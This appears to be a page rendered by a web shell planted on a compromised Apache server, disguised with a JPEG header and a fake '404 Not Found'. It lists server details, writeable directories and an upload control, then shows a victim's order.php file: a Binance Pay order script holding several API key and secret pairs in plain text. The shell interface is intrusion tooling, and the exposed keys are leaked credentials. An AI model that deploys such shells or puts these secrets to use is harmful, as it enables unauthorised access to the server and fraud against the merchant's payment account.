ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/binance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/binance/order.php
<?php
// Generate nonce string
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$nonce = '';
for($i=1; $i <= 32; $i++)
{
    $pos = mt_rand(0, strlen($chars) - 1);
    $char = $chars[$pos];
    $nonce .= $char;
}
$ch = curl_init();
$timestamp = round(microtime(true) * 1000);
// Request body
$request = array(
    "env" => array(
        "terminalType" => "APP"
    ),
    "merchantTradeNo" => mt_rand(982538,9825382937292),
    "orderAmount" => 2.00,
    "currency" => "USDT",
    "goods" => array(
        "goodsType" => "01",
        "goodsCategory" => "D000",
        "referenceGoodsId" => "7876763A3B",
        "goodsName" => "Ice Cream",
        "goodsDetail" => "Greentea ice cream cone"
    )
);

$json_request = json_encode($request);
$payload = $timestamp."\n".$nonce."\n".$json_request."\n";
/*$binance_pay_key = "m9wEwPjg1rwYg9gJMoXvQcW8bAhCDW6PtduOn05gYaW2BawmxNs0out9VQhXP232";
$binance_pay_secret = "jkgWN7CbABdV3djuqSlhvjzJKZJxFbTlihQMHViz0y7WBni9030wx4Q40I5H6esM";*/
/*$binance_pay_key = "Pnza4R6r5eC4Vpyc1rrO8lX3CLJrJj2GE5fatxNRJV03jJyhFEHHMddPNo0sR4VQ";
$binance_pay_secret = "o9KMol2mg10uWLPRIfMeCng5iROJXz8peLQKYu1hW40kNwsANu11zgFY7oTve56R";*/
$binance_pay_key = "zpcbcji41fqabyghbzgpumi2hb6fl9iotdspzuiimxx48jrenl6ifowaiwvpjvcy";
$binance_pay_secret = "atlj2nbqxr5e9lvphrcyp8db9be4syknoxccziuxcme3pvfzc3dtdourmyus6p2l";
$signature = strtoupper(hash_hmac('SHA512',$payload,$binance_pay_secret));
$headers = array();
$headers[] = "Content-Type: application/json";
$headers[] = "BinancePay-Timestamp: $timestamp";
$headers[] = "BinancePay-Nonce: $nonce";
$headers[] = "BinancePay-Certificate-SN: $binance_pay_key";
$headers[] = "BinancePay-Signature: $signature";

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_URL, "https://bpay.binanceapi.com/binancepay/openapi/v2/order");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_request);

$result = curl_exec($ch);
if (curl_errno($ch)) { echo 'Error:' . curl_error($ch); }
curl_close ($ch);
$arr_content = json_decode($result,true);
$checkout = $arr_content['data']['checkoutUrl'];
header('Location: '.$checkout);
exit();
var_dump($result);

?>

ZeroDay Forums Mini